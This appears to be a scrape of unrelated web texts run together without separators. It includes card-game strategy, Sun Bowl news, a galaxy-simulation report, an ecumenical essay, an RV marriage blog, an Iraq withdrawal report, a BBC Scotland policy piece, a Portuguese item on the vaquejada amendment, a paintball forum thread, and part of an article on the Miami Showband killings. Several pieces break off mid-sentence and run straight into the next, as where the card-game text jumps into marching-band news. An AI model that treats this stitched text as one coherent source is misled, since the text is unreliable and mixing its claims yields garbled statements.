The earliest I am happy to run out Siraf is once you hit seven power. This is great timing especially if you are a bit behind on board, but not behind enough to cast a Harsh Rule (or you don’t have one available). If your opponent does not have a silence, they are placed in a very tough position, where they must either give you a chance to generate value with Siraf until they find an answer, Harsh Rule away their own board, or try to punch past her and her friends in a race. Given that we are still talking about the midgame, it is unlikely that they will have no silence effects unless they have been overly trigger-happy, which is why this is my least favourite time to play her.
One of the best times to play Siraf is on 8 power, if you are able to play both Harsh Rule and Siraf that turn. Hopefully, some silence effects have been milked from your opponent by now, so there is a better chance she retains her abilities when you power up. Another prime point on the curve to play her is 11 power, as it allows you to activate Siraf without an opportunity for your opponent to silence her. I will often hold a Siraf in hand for multiple turns on an empty board if I have 10 power to wait until I can get my value. It is also important to remember that it is best to activate Siraf before you play your power or attack, as some of the best hits (Mystic Ascendant and Icaria) care about these things.
Once you have Siraf active, you should probably start sending in units to pressure your opponent. By trying to set up a big alpha strike turn you are actually giving them more time to find a Harsh Rule |
to perform. The Stanford band makes a comeback after missing out on the 2016 Hyundai Sun Bowl when the Cardinal faced North Carolina. The Pitt band returns to the Sun Bowl Stadium after ten long years.
The presentation of the Sun Court follows the band with a total of 12 El Paso natives taking the field. The ladies of the court are all enrolled in universities nationwide. The court selection is made after a series of interviews to determine the ambassadors of the Sun City.
“We are excited to see both bands perform this year and would like to use the halftime to honor those who we feel deserve some recognition,” said Executive Director Bernie Olivas. “We also wanted to have the opportunity to use halftime to give away a prize to a fan.”
One lucky fan will have the opportunity to win free Chick-fil-A for a year. The contestant will be kickin’ for chicken by attempting a 20-yard field goal for the grand prize.
The boys and girls who won this year’s Peter Piper Pizza Sun Bowl Punt Pass & Kick will be recognized. The event formerly sponsored by the NFL was picked up by Peter Piper Pizza to continue a fun football event for the kids in the El Paso area.
The Sun Bowl Association partnered with the College Football Playoff Foundation in Extra Yard for Teachers Week for the first time this year. Two teachers in the El Paso area who deserve to be recognized were selected for the award in September. The winners will be honored on the field.
Tickets for this year’s Hyundai Sun Bowl can be purchased by calling 915-533-4416 or by visiting ticketmaster.com. Kick-off is at noon (MT).
## Sun Bowl ##
ETSU TAKES HOME WESTSTAR BANK DON HASKINS SUN BOWL INVITATIONAL TROPHY December 23, 2018
EL PASO, Texas – The ETSU Buccaneers (10-4) defeated Norfolk State (5-9) 89-61 in the title game of the WestStar Bank Don Haskins Sun Bowl Invitational, Saturday, Dec. 22 in El Paso, Texas to take on the championship trophy.
ETSU took an early lead against the Spartans and never let-up while junior guard Tray Boyd III posted a career-high 24 points. Buccaneer guards Bo Hodges and Daivien Williamson played great during the two games, which led to Hodges being named the Barry Kobren Most Valuable Player, while Hodges earned a spot on the all-tournament team.
UTEP (5-6) defeated Wyoming (3-9), 76-65, in the consolation game shooting 47-percent from the field. The Miners were led by forward Efe Odigie, who marked his fifth double-double of the season. He scored 12 points and 11 rebounds, which helped him earn the 2018 Don Haskins Award.
“It was another successful and wonderful tournament,” said Sun Bowl Executive Director Bernie Olivas. “The teams competed hard against one another and really enjoyed themselves while here in El Paso.”
ETSU really enjoyed its trip to El Paso, while not only winning the tournament, but taking in a lot of what the community has to offer.
“"I would recommend anyone that can come down here to do so. If we come back here, all of our fans, I recommend you come down because it’s been great. These people are phenomenal,” said ETSU Head Coach Steve Forbes. “"It’s been unbelievable. The hospitality we’ve gotten here has been the best I’ve had in my 29 years of coaching. I’ve heard that, but it’s true."
WestStar Bank Don Haskins Sun Bowl Invitational – All-Tournament Team
Bo Hodges – ETSU – MVP
Efe Odigie – UTEP – Don Haskins Award
Daivien Williamson – ETSU
Derrik Jamerson – Norfolk State
Hunter Thompson – Wyoming
Evan Gilyard – UTEP
In 2009, the tournament was renamed to honor former UTEP head coach and Naismith Memorial Basketball Hall of Famer Don Haskins. “The Bear” coached at UTEP from 1961 to 1999, winning 719 games and making 14 postseason appearances. Haskins famously led the Miners to victory in the 1966 National Championship game over Adolph Rupp and the heavily favored Kentucky Wildcats.
The WestStar Bank Don Haskins Sun Bowl Invitational is the oldest holiday basketball tournament in the nation.
## Sun Bowl ##Video: How the Milky Way got its spiral arms
A dwarf galaxy called Sagittarius can be credited with giving the Milky Way its signature spiral arms.
Sagittarius struck our galaxy some 1.9 billion years ago. It then looped over the galactic “north pole” and struck again about 900 million years ago. It is heading back right now, on course for a third clash in 10 million years or so.
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These impacts must have had a considerable influence on the Milky Way but the effects have been hard to calculate because of uncertainties over the amount of dark matter in Sagittarius.
Now Chris Purcell at the University of Pittsburgh, Pennsylvania, and colleagues used new mass estimates for Sagittarius to create the most accurate simulation yet of the effects of the impacts (see visualisation, above).
Galactic evolution
The simulation starts with the Milky Way as a flat disc with a central bar of stars and gas. After the first impact, instead of orbiting in circles around the central bar, some stars start orbiting in a variety of ellipses. These combine to form dense clumps of stars and gas in a spiral pattern.
After the second impact, the spirals become remarkably similar to the ones seen in the Milky Way. At the same time, the central bar is preserved, just as in the actual Milky Way.
The impacts also generate ring-like structures around the Milky Way. One of these, says Purcell’s team, is very similar to a feature of the night sky known as the Monoceros ring. The simulation suggests that the ring connects to the spiral arms – beyond the view of older telescopes. Purcell predicts that the next generation of galactic maps will show the connection.
“The work is impressive because it reproduces many of the features we can actually see,” says Steve Majewski, an astronomer at the University of Virginia in Charlottesville. “That’s never been done before.”
The work has broader implications for our understanding of galactic evolution because impacts between galaxies and their companions are thought to be widespread in the cosmos. “Many of the spiral galaxies we can see were probably formed in this way,” says Purcell.
Journal reference: Nature, DOI: 10.1038/nature10417The latest statement of the North American Orthodox-Catholic Theological Consultation (NAOCTC) begins and ends with questions, and these are both more valuable and certainly more interesting than what is found in many ecumenical statements.
When I got involved officially in the ecumenical movement in Canada in 1988, I was something of a young Turk who thought we needed some strong leadership at the top to hammer together a few pellucid doctrinal statements permitting no questions but demanding complete assent from everybody. I knew—or thought I knew—exactly who was in and who was out. Anglicans, Catholics, and Orthodox were in because all of us claimed apostolic succession and sacraments. Once we achieved unity en bloc, we could then dictate terms de haut en bas to the sordid and shabby Protestants, whose fractiousness would melt away in a pique of gratitude for whatever scraps we fed them from our high table (where, my then 17-year-old Anglican self fantasized, I would one day be seated as archbishop of Canterbury in secret talks with the pope of Rome and patriarch of Constantinople).
My 45-year-old self now finds fatuous that whole fantasy, not least because, in 1991, I left home to study psychology, and have never stopped thinking in psychoanalytic categories. From Freud—and later Alasdair MacIntyre and the Eastern Fathers—I learned the value of questions and an apophatic suspicion of overly tidy answers. I’m glad to see that the latest statement of the North American Orthodox-Catholic Theological Consultation (NAOCTC) also raises some psychologically invaluable questions about the prospects for East-West unity. In fact, their newest statement, released this week, begins and ends with questions, and these are both more valuable and certainly more interesting than what is found in many ecumenical statements.
The questions here concern authority. In broad terms these are the same questions I attempted to treat eight years ago in my Orthodoxy and the Roman Papacy (University of Notre Dame, 2011), the same ones that Christians have been talking about since at least 1995, the year the landmark encyclical Ut Unum Sint raised the question of how and where we might find new models for the exercise of the papacy.
None of us has totally answered these questions yet because they are so complex, involving many further questions about universal, regional, and local authority; synodality and primacy; the relationship between historical practices and doctrinal claims; and the interplay between structures of the Roman Empire and those of the Church now living in a vastly different world. And in fact the new statement from NAOCTC rightly begins by asking whether we need one single answer to the problems of primacy, authority, and synodality:
Is it necessary, or even desirable, that we have absolutely identical understandings? Perhaps the ecumenical model of differentiated consensus is of service here.
“Differentiated consensus” allows for broad agreement on major issues, but tolerates diversity of thought and practice on what are regarded as secondary or tertiary issues. This has long seemed to me the only realistic and hopeful prospect of Christian unity: we can agree on the importance of unity with the pope, but it is neither necessary nor theologically justifiable to insist, e.g., that everybody accept that every bishop in the world be appointed by him—an entirely novel practice, anyway, that is barely a century old and certainly ripe for reform if not abolition.
On this point, in fact, the new statement of the North American dialogue rightly notes that “the faithful were normally involved in the process of electing a new bishop in the early church.” The question left eloquently unsaid here is: why are they not so involved today? And why, the dialogue asks later on, is the ecumenical focus here and elsewhere today so often on universal or regional structures, and not the local: “In this and previous statements, there is little mention made of the reality of the parish.” And yet the parish is precisely where most people live out their faith and experience all the major moments of their life—baptism, reconciliation, marriage, and so forth.
In an era of globalization, of cultural homogenization thanks to advanced capitalism, and of an often excessive and deeply harmful focus on “universal” leaders such as Roman popes and American presidents, the statement rightly calls for us to recognize that “the early Church had a diversity of ecclesial organizational models, responding to local custom and need.” We need to spend more time on the questions and problems of the local community and less time obsessing outrageously about papal and presidential comments.
The statement raises other questions too little considered in the past, including why the “Assyrian Church and the Oriental Orthodox Churches” are too often overlooked. These Syriac, Coptic, and Armenian Christian traditions have all, in varying ways, lived under Islam, which itself raises another set of questions and problems the dialogue says we have not considered enough:
As Islamic rule extended over most of the Christian East it changed the nature of Church governance, and even Church order. It would be difficult to discuss the matters at hand without also taking into consideration the influence of Islam.
As I’ve demonstrated elsewhere, the role of Islam, and, more recently, communism, both profoundly shaped (and often perverted) the ecclesial consciousness and actual structures of both Eastern Orthodox and Eastern Catholic churches. The East has long been aware of this, and recently begun to question this in part, seeking structural reform to remove some of the residue of these nefarious influences.
But what about the West? I’m increasingly coming to think—and here Cyril Hovorun’s recent book Scaffolds of the Church (Wipf and Stock, 2017), is extremely helpful—that the Western Church has not seriously questioned its own “ecclesial imaginary” and how much it has been, and continues to be, shaped unconsciously by universalizing imperialist tendencies and the never-ending reach of the modern state.
Decentralization, the virtues of which the North American dialogue says we must continue to contemplate, is much more theologically, historically, and practically defensible than the Roman centralization and personality cult of the pope we have been enduring for decades. Perhaps all the novelties and peculiarities of this Franciscan papacy will finally bring us to reconsider papal centralization and begin to rid ourselves of it both for the good of the Catholic Church and also the cause of Christian unity.
The desire some have (as my younger self did) for the pope to ensure and enforce absolute uniformity everywhere in the world is psychologically questionable, and probably based on an unconscious ecclesiological mistake. Here is where a totally new reading of Freud’s Future of an Illusion allows us to raise new questions about how and why Catholics can be infantilized by images and actions of an earthly and human (pace Freud) “holy father.” These images are unconsciously beholden to old Roman-imperial, and more recent West-European monarchical, ideas of the omnipotent and absolutist ruler whose coronation formula effuses about him “that you are Father of princes and kings, Ruler of the world, Vicar of our Saviour Jesus Christ.”
Questioning the rococo spectacle of a papal coronation was easy after 1963. But interrogating our unconscious desire to be ruled by Rome (or Moscow or Alexandria or Constantinople or Etchmiadzin) will take longer. The “service of unity,” as Pope John Paul II wrote, is not about
exercising power over the people—as the rulers of the Gentiles and their great men do (cf. Mt 20:25; Mk 10:42)—but of leading them towards peaceful pastures. … The mission of the Bishop of Rome within the College of all the Pastors consists precisely in “keeping watch” (episkopein), like a sentinel, so that, through the efforts of the Pastors, the true voice of Christ the Shepherd may be heard in all the particular Churches. In this way, in each of the particular Churches entrusted to those Pastors, the una, sancta, catholica et apostolica Ecclesia is made present. All the Churches are in full and visible communion, because all the Pastors are in communion with Peter and therefore united in Christ. With the power and the authority without which such an office would be illusory, the Bishop of Rome must ensure the communion of all the Churches. For this reason, he is the first servant of unity. (UUS, 94)
It is up to us—encouraged by the good work of the North American Orthodox-Catholic Theological Consultation, by John Paul II in 1995 (cf. Ut Unum Sint nos. 94-96), and Pope Francis in 2013 (cf. Evangelii Gaudium nos. 16 and 32)—to keep before us these two crucial questions with which the dialogue ends its newest statement: “Are we asking more of each other than we did when we shared communion? With all we share and with all the cost of the division, do we still have the right to remain divided?”Despite priding myself in being an “out-of-the-box” thinker, I never could have imagined 3 years after marriage my husband, toddler, and I would be living in an RV. I mean, who gets married thinking they’re gonna move into a camper? Not this lady!
I married Ed three years ago. It was the most exciting day of my life. I kept saying “I can’t believe Ed is marrying me! I can’t believe I am getting married!” If you’ve read a blog post or two here at thevirtualcampground.com, then you probably know I am a little different so my excitement and surprise is completely understandable.
But I digress. Here we are in southern Alabama living in an RV named Dixie. And I absolutely love it. I love the short cleaning list, the RV park, the… wait, I already wrote that blog post. Click here for why I’m in love with RVing. This post is about how living in an RV has made me fall more in love with my husband. It is my anniversary gift to my husband because well, this week is our anniversary and my cheap booty ain’t going to the store. Again, I digress. Let’s get in to this.
So it turns out my husband is super handy.
Since moving into the RV, I’m pretty sure my husband has never had to work so dang hard in his life. This RV has been throwing challenges left and right at Ed and he just keeps rising to the occasion. Leak in the garbage compartment? No problem. Water damage to the whole back wall of the RV? Ed’s got it. Replace the floor? Yeah, it’s done.
This, ladies and gents, is manly and sexy. **SWOON**
I’ve also learned he’s way more patient than I am.
I always tell people Ed is a much more patient partner than I am, and it is true. He easily forgives me and has never yelled at me for any of the ridiculously-high number of stupid things I’ve done. I, on the other hand, cannot boast these stats. I didn’t think I could gain a more patient spouse until we bought Dixie.
You see, we bought this RV only a couple months after Ed returned home from Afghanistan. As a family, we were all still adjusting to each other and to our roles. It was going as well as it could but of course it was still very challenging. Throw an RV into the mix and it could have been a disaster!
But it hasn’t been!
I have seen my husband struggle since we started living in an RV, but time and time again I see him succeed.
I see him overcome barriers as a parent with Chelsea. I see him put his needs and wants aside for me. I see him work tirelessly on this dang RV and then make the family dinner with a smile. All these reasons make me fall in love with him again and again.
A lesser man would have probably just gotten keys to an apartment by now. Working on this RV has tested so much more than his handyman skills. Bearing the sole responsibility of fixing our home (on top of a full-time job and being a husband and father!) has stretched his patience much further than I thought capable. I see him working on our home every day and I am so proud to be this man’s wife.
We’re finally getting to spend time together!
So it’s our 3rd anniversary and it’s the first time we’ve been together on this date since our wedding. Truth be told, most of our relationship has been spent apart. When we met, he lived in Alabama and I lived in Florida. While dating, our closest distance in mileage was almost 300 miles. And our marriage? Well, I’ve either been pregnant and working or he’s been at month-long trainings for work or deployed for a year.
I love the security this duty station and RV have brought to our marriage. I love knowing he is coming home and we will be together because well, we have no other choice. I mean, there really is no place to hide in this fifth wheel. We’ve got to stick together.
When we lived in the townhouse, I was always worried about cleaning and making the house perfect. When Ed would get home from work, I’d tell him to play with Chelsea so I could get some chores done. I felt like even though we lived in the same house, we didn’t get to spend a lot of quality time together. In the RV, it is so different. Chores are done together quickly so we have plenty of time to have fun as a family.
And plenty of time to argue.
Alright, I’d be lying if I said we weren’t arguing. Of course we are. The RV renovation, on top of having a cranky 2 year old, and just life in general has taken its toll on our relationship. Sometimes it seems like we can’t find a single common ground. Sometimes it seems like the harder we try to get along, the less likely we are to do so.
Can you relate? I’m sure you can, because DUH! This is not a strictly RV-related problem. Lots of couples argue. What is unique about doing so while living in an RV is that we have to promptly solve our problems. We have to swallow our pride and quickly come to a compromise or else ole Dixie is going to turn into a Lil Box-a’ Torture for not only us, but for our daughter as well. This small space can fill with tension so fast even the dog cowers in the corner.
So how does this make me love my husband, exactly?
Well, it has shown me just how much he loves me and is willing to do whatever it takes to make this marriage work. When I cross a line, I see he doesn’t hold a grudge. When he starts to get upset, I see him throttle back on his emotions and take control of them so we are able to get along. Knowing my husband loves me so much makes me such an incredibly grateful wife. Seeing that love in action every single day makes me also love him that much more.
I don’t think we would be working so hard on our relationship if we were in a regular ole sticks and bricks. I think we would be more prone to “escape” tense situations and let things “stew.” Living in an RV makes that almost impossible. Our conflict resolutions skills must rise to the challenge over and over in the heat of the moment to extinguish inflamed egos and mend hurt hearts. I am so proud of my husband for adapting to this lifestyle and giving our marriage 100% in the process.
How long have you been married or with your partner? Could you survive the RV life? Comment below and don’t forget to share the article if you like it!
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Like this: Like Loading...After nearly nine years of war, the last U.S. combat troops have crossed the border into Kuwait.
CBS News correspondent Jim Axelrod reports that after a quiet end to a long, divisive and costly war, the last troops were able to leave Iraq without incident on Sunday. Iraq now continues on its own course towards democracy.
As of Sunday night, for the first time in 8 years, 8 months and 28 days, the U.S. has no troops fighting in Iraq.
The American convoy left Camp Adder south of Baghdad during the night, bound for Kuwait. The last convoy out of Iraq rolled across the Kuwaiti border at 7:37 local time Sunday morning, capping a drawdown that saw the U.S. go from 50,000 troops in Iraq as late as August to zero.
The top U.S. general in Iraq, Lloyd Austin, called the final drawdown the military's largest most complex logistical undertaking since World War II. He stopped by with good wishes for the soldiers making up the final convoy as the military met its deadline of having all troops gone by December 31st
"I'm very hopeful that things will continue to move in right direction. It's going to take the Iraqi government, the Iraqi people to make the right decisions, work together," Austin said.
The officers planning the last troop movements of the Iraq war had feared attacks from Iranian-backed militias active in the south, but the five-hour, 160-mile drive from Camp Adder - the last U.S. base to operate in Iraq - to the border went smoothly.
Soldiers expressed relief when they crossed the Kuwaiti border without an incident. Many were hopeful for not just a better Iraq, but being home in time for Christmas.
One way that some are measuring the Iraq war is in terms of loss. Since U.S. troops first entered Iraq, 8,794 Americans lost a son or daughter; 3,141 lost a parent; and 2,468 lost a husband or wife.University of Sassari’s Robert Beveridge argues that regardless of the outcome of the Scottish referendum, broadcasting should be taken out of the hands of Westminster and the new BBC Charter should properly reflect a federalised rather than centralised system.
Scotland is a nation but it is not – yet – an autonomous state and broadcasting has been largely organised within parameters set out by the British State. Even before devolution, broadcasters ignored, at their peril, the distinct legal and political context of Scotland. For example in April 1995, the BBC was required by the courts to pull a Panorama interview with then Prime Minister John Major as it was to be broadcast during a local election campaign north of the border but other party leaders had not been given the same opportunity. Viewers south of Northumberland saw Mr Major’s interview but north of there and in Scotland where they are served by the same transmitters, it was replaced by a documentary.
This was just one of many examples of broadcasters not understanding diversity and the multi-national, never mind the multi cultural, make up of the United Kingdom(s).
Now we have the referendum coming up and if there is a Yes vote on September 18th, all bets are off. Scotland will proceed to set up a Scottish Broadcasting Corporation and will negotiate a new relationship with the RUK BBC, which will probably keep the brand and heritage name of the BBC (although many north of the border already see the BBC as either the London Broadcasting Corporation (LBC) or English (EBC).
As a (UK) public trust, Channel 4 will also be the subject of negotiations to divide assets: it is, like the BBC, owned by the public both north and south of the border. Additionally, Scottish Television will have to reconfigure its commercial and operational relationship with ITV with some interesting questions needing to be resolved around the border licence area.
More autonomy needed regardless of vote
Even if the referendum does not result in independence, the coming BBC Charter review needs to enable BBC Scotland to become more autonomous with the equivalent of a Barnett formula, which is the way in which UK government budgets are distributed south and north of the border, for broadcasting.
BBC Scotland would take full control of all the licence fee raised in Scotland and of its own schedules, operating an opt in rather than an opt out policy. It would launch the long needed Scottish Six: the news from Scotland at 6pm looking at national, UK and international news from the perspective of the viewer in Scotland. A federal BBC is long overdue as is devolution for BBC Scotland.
In 2007 at the opening of the new BBC Scotland headquarters in Glasgow, then DG Mark Thompson stated that:
We’re already committed to raising network deliveries from the nations to at least 17% of relevant output. Network deliveries from BBC Scotland not only can but must grow to at least its proportion of the UK population – though I regard that as a floor rather than any kind of ceiling.
There has been some progress.
In 2013 Scotland reached 11% of eligible network BBC TV spend. But what is significant is that both before and since, research for the BBC Trust demonstrates that there remain, especially amongst audiences in Scotland, significant gaps in the extent to which licence fee payers feel that the BBC is good at portraying their nation and communities.
Parachuting in programmes such as “Waterloo Road” (now decommissioned) can only be a temporary stop gap. As the Scottish Broadcasting Commission stated in the executive summary of its 2008 report, what is needed is:
a more successful industry and more satisfied audiences …Audiences also support the concept of choice and competition and they have made it clear to us that they wish to be provided with a greater volume and range of Scottish content.
No status quo
One should not make the mistake of thinking that a no vote will maintain the status quo. Political debate in Scotland as well as Wales and Northern Ireland, but not fully in England (yet) reflects the fact that devolution is a process and that the UK is, like it or not, becoming quasi federal.
Devolution Max and Fiscal Autonomy are not rock bands, but embody serious policy proposals that will lead to changes in governance, accountability and transparency for media institutions and regulation across the British Isles.
It is not acceptable for BBC Scotland, or OFCOM for that matter, to have a de facto as opposed to a de jure relationship of accountability to the Scottish Parliament. The Scotland Act 1998 made broadcasting a reserved power to Westminster. This now has to change, but with safeguards in place to ensure that the it remains independent of both the parliaments in Edinburgh and London.
In other words, if the UK is indeed now quasi federal, broadcasting policy and governance needs to reflect this. History has shown us that a fair voice for the nations, regions and cultures of these islands does not happen by accident, nor via the market. It needs media policies that are sensitive to the fact that nations are not regions. Full stop.
This article gives the views of the author, and does not represent the position of the LSE Media Policy Project blog, nor of the London School of Economics.PROPOSTA
Medida acaba com os entraves jurídicos para a realização das vaquejadas, já elevadas à categoria de patrimônio cultural
Uma proposta que garante a constitucionalidade das vaquejadas foi aprovada nesta quarta-feira, dia 26, em comissão especial da Câmara. O relatório do deputado Paulo Azi (DEM-BA) recebeu 20 votos favoráveis e apenas 1 contrário, o do deputado Ricardo Tripoli (PSDB/SP).
A proposta (PEC 304/17) altera a Constituição para estabelecer que não são consideradas cruéis as práticas desportivas que utilizem animais, desde que essas atividades sejam registradas como bem de natureza imaterial integrante do patrimônio cultural brasileiro e garantam o bem-estar dos bichos.
Na prática, a medida acaba com os entraves jurídicos para a realização das vaquejadas, já elevadas à categoria de patrimônio cultural por meio da Lei 13.364/16, em vigor desde novembro último.
Ao defender a aprovação da proposta, o relator citou os compromissos de garantia do bem-estar animal presentes na autorregulamentação da Associação Brasileira de Vaquejada e da Confederação Nacional do Rodeio.
Além disso, Azi argumentou que essas práticas também estão regulamentadas por leis, como a que equipara o peão de rodeio a atleta profissional (Lei 10.220/01) e a que trata de fiscalização da defesa sanitária animal em rodeios (Lei 10.519/02).
Cultura e economia
“A vaquejada não é anômica, como a farra do boi. Pelo contrário, é completamente cercada de cuidados e regras. Conta com a presença de veterinários, cuidadores e fiscais para garantir que a cultura sobreviva ao mesmo tempo em que os direitos dos animais são respeitados”, afirmou Paulo Azi.
“Se baníssemos a vaquejada, sacrificaríamos a cultura de um povo, causando prejuízo injustificável para toda a dinâmica econômica que essa atividade traz para as comunidades, condenando cidades e microrregiões ao vazio da noite para o dia”, continuou.
No aspecto econômico, o relator ressaltou que as vaquejadas movimentam R$ 600 milhões por ano e geram 120 mil empregos diretos e 600 mil indiretos.
A PEC, apresentada pelo senador Otto Alencar (PSD-BA), foi apresentada em outubro do ano passado, logo depois de o Supremo Tribunal Federal ter declarado inconstitucional uma lei estadual do Ceará que regulamentava a vaquejada como prática desportiva e cultural.
A proposta tramitava juntamente com outra (PEC 270/16), do deputado João Fernando Coutinho (PSB-PE), que classificava rodeios e vaquejadas como patrimônio cultural imaterial brasileiro. Porém, Azi recomendou a rejeição, já contemplado na Lei 13.364/16.
Alerta e críticas
Único voto contrário à proposta na comissão especial, o deputado Ricardo Trípoli (PSDB-SP), sustentou que a medida fere os direitos e garantias individuais relativas ao meio ambiente equilibrado, que também é baseado na proteção aos animais.
“A PEC 304 pretende criar uma ficção jurídica para alterar uma constatação de fato do Supremo Tribunal Federal sobre a vaquejada, qual seja, a de que se trata de prática inerentemente violenta. Ou seja, a crueldade da vaquejada não é remediável nem regulamentável por lei específica que assegure o bem-estar dos animais envolvidos”, disse.
Trípoli afirmou ainda que, em caso de aprovação definitiva no Congresso, essa proposta será alvo de ação direta de inconstitucionalidade no STF. “Manifesto-me no sentido da inconstitucionalidade por violação à cláusula pétrea da Constituição”, disse.
Tramitação
Agora, após a aprovação na comissão especial, o texto será submetido a dois turnos de votação no Plenário da Câmara e só se transformará em emenda constitucional se receber, pelo menos, 308 votos favoráveis em cada uma das votações.American Paintball League (APL) offering Millennium Format - Valken splits from NPPL
Quote: Originally Posted by American Paintball League CONTACT:
Shawn Walker
FOR IMMEDIATE RELEASE
Oceanside, Calif. - November 4, 2013 - After a successful 2013 tournament season, Paintball Promotions Inc. is proud to announce the formation of a new national paintball circuit, the American Paintball League (APL).
The APL will offer five events at sites across the United States with teams competing in a 5-player Millennium Style Race format. A Professional Division will be offered by invitation along with Semi-Pro through Division 4 levels open to all players and teams.
"Valken is strongly behind Shawn Walker and the Paintball Promotions staff. We are excited to build off our fantastic 2013 season and can't wait for 2014!", said Gino Postorivo, President and CEO of Valken Sports. "The American Paintball League brings all the best aspects of our sport together and Valken is proud to be the presenting sponsor."
Tony Mineo will serve as Commissioner for the APL and all events will be officiated by his professional crew of experienced referees.
PBPromotionslive.com will be broadcasting live at every event with the continued partnership with Universal Streaming Network.
More information will be released soon including venues, dates, prize packages, entry fees and Professional team names. Quote: Shawn*Walker Originally Posted by I know everyone has lots of questions regarding the APL. We wanted to get this initial press release out and plan to release more info every week. Here are some initial answers to the questions we have heard. If you have more, please feel free to email us directly or we will try and check back here on pbnation.
I think it was clear that we (Paintball Promotions) never owned the NPPL name or trademark. We had a license to use the name last season. I think all went well last year and we were good custodians of the league and name. We did not renew that licensing agreement. I am unsure what the owners of the NPPL name plan to do with it now.
With the amount of changes necessary to bring the league more in line with what our customers were wanting we felt it best to start with a new name and new direction. It's hard to see 7-man go away, but it seemed necessary at this stage. Most events across the nation are some version of 5-man. Rather than trying to bring the water to the horse we thought it makes more sense to bring the horse to the water. Basically rather than try and change peoples mindset on what type of paintball to play it made more sense to provide an event and series that fits what people want.
We have spoken to many of the Pro teams and many have indicated they are interested in playing in the APL. We will be announcing confirmed Pro teams in smaller groups over the next few months.
Schedule will be out once all the other leagues release their schedule. We are the new kid in town and will be respectful to make sure dates and locations aren't on top of other dates. We've already followed up and asked them the following questions, but please post here what else you would like to know:
What will happen to the NPPL name (format, league)? - They've cut ties. See above.
Is 7 man being abandoned? - Yes, see above.
Have any PSP or Millennium pro teams committed to playing?
When will there be a schedule?
EDIT: What Millennium rules will be used? What fields? We just received this press release from the brand new American Paintball League (APL).- They've cut ties. See above.- Yes, see above.Have any PSP or Millennium pro teams committed to playing?When will there be a schedule?EDIT: What Millennium rules will be used? What fields?
Your questions are answered in the PbNation FAQ. Ask a Mod.
We deserve better villains.
"I have not seen an automag shot in anger in 10 years." Tom Cole
Most of my current guns. | Pro Player Jersey Sale. | 3rd Party Services. __________________ Last edited by John : 11-04-2013 at 08:35 PM. Reason: added more from ShawnOnshi-no tabako, with the crest at the center of the cigarette
Onshi-no tabako (恩賜のたばこ, Onshi-no tabako) or Onshitabako (恩賜煙草, Onshitabako) were the packets of cigarettes given out by the Japanese emperor |
local RUC barracks. Griffin based her theory on the nine bullets that were fired from a Luger into McCoy's body and that Jackson's fingerprints were found on the silencer used for a Luger. She furthermore opined that Jackson was the man Travers saw kicking McCoy's body to make sure he was dead.[85]
The Pat Finucane Centre has named the Miami Showband killings as one of the 87 violent attacks perpetrated by the Glenanne gang against the Irish nationalist community in the 1970s. The Glenanne gang was a loose alliance of loyalist extremists allegedly operating under the command of British Military Intelligence and/or RUC Special Branch. It comprised rogue elements of the British security forces who, together with the UVF, carried out sectarian killings in the Mid-Ulster/County Armagh area. Their name comes from a farm in Glenanne, County Armagh, which was owned by RUC reservist James Mitchell; according to RUC Special Patrol Group officer John Weir, it was used as a UVF arms dump and bomb-making site. Weir alleged the bomb used in the Miami Showband attack came from Mitchell's farm. Weir's affidavit implicating Robin Jackson in a number of attacks including the 1974 Dublin bombings was published in the 2003 Barron Report; the findings of an official investigation into the Dublin and Monaghan bombings commissioned by Irish Supreme Court Judge Henry Barron.[17]
Later years [ edit ]
During the six years from the onset of "The Troubles" until the July 1975 attack, there had never been an incident involving any of the showbands. The incident had an adverse effect on the Irish showband scene, with many of the bands afraid to play in Northern Ireland. The emergence of discos later in the decade meant that ballrooms were converted into nightclubs, leaving the showbands with few venues available in which to perform. By the mid-1980s, the showbands had lost their appeal for the Irish public; although The Miami Showband, albeit with a series of different line-ups, did not disband until 1986.[19] The Miami Showband reformed in 2008, with Travers, Des McAlea, Ray Millar and other new members. It is fronted by McAlea, who returned to Northern Ireland the same year after living in South Africa since about 1982.[19]
In 1994, Eric Smyth, a former UDR member and the husband of Brian McCoy's sister, Sheila, was killed by the IRA.[88]
Travers travelled to Belfast in 2006 for a secret meeting with the second-in-command of the UVF's Brigade Staff, in an attempt to come to terms with the killing of his former colleagues and friends. The meeting was arranged by Rev. Chris Hudson, a former intermediary between the government of Ireland and the UVF, whose role was crucial to the Northern Ireland peace process.[89] Hudson, a Unitarian minister, had been a close friend of Fran O'Toole.[90] The encounter took place inside Hudson's church, All Souls Belfast. The UVF man, who identified himself only as "the Craftsman", apologised to Travers for the attack, and explained that the UVF gunmen had opened fire on the band because they "had panicked" that night.[22][91] It was revealed in Peter Taylor's book Loyalists that "the Craftsman" had been instrumental in bringing about the 1994 Combined Loyalist Military Command (CLMC) ceasefire.[92]
Travers also visited the home of Thomas Crozier, hoping to meet with him, but the latter did not come to the door.[22] He presently resides near Craigavon. James McDowell lives in Lurgan, and John James Somerville became an evangelical minister in Belfast.[4] The UVF had cut all ties with Somerville after he had opposed the 1994 ceasefire. In January 2015 he was found dead in his Shankill Road flat. Aged 70, he died of cancer of the kidney.[93]
Memorials [ edit ]
A monument dedicated to the dead Miami Showband members was unveiled at a ceremony at Parnell Square North, Dublin, on 10 December 2007. Survivors Stephen Travers and Des McAlea were both present at the unveiling, as was the Taoiseach, Bertie Ahern, who made a tribute. The monument, entitled 'Let's Dance' is made of limestone, bronze and granite, by County Donegal sculptor Redmond Herrity, and is at the site of the old National Ballroom, where the band often played.[94][95]
A mural and memorial plaque to Harris Boyle and Wesley Somerville is in the Killycomain Estate in Portadown, where Boyle had lived. The plaque describes them as having been "killed in action".[96]
In a report on Nairac's alleged involvement in the massacre, published in the Sunday Mirror newspaper on 16 May 1999, Colin Wills called the ambush "one of the worst atrocities in the 30-year history of the Troubles".[97] Irish Times diarist, Frank McNally, summed up the massacre as "an incident that encapsulated all the madness of the time".[98] In 2011, Journalist Kevin Myers denounced the attack with the following statement: "in its diabolical inventiveness against such a group of harmless and naïve young men, it is easily one of the most depraved [of the Troubles]".[33]
A stamp was issued in Ireland on 22 September 2010 commemorating the Miami Showband. The 55-cent stamp, designed with a 1967 publicity photograph of the band, included two of the slain members Fran O'Toole and Brian McCoy as part of the line-up when Dickie Rock was the frontman. It was one of a series of four stamps issued by An Post, celebrating the "golden age of the Irish showband era from the 1950s to the 1970s".[24]
The HET Report [ edit ]
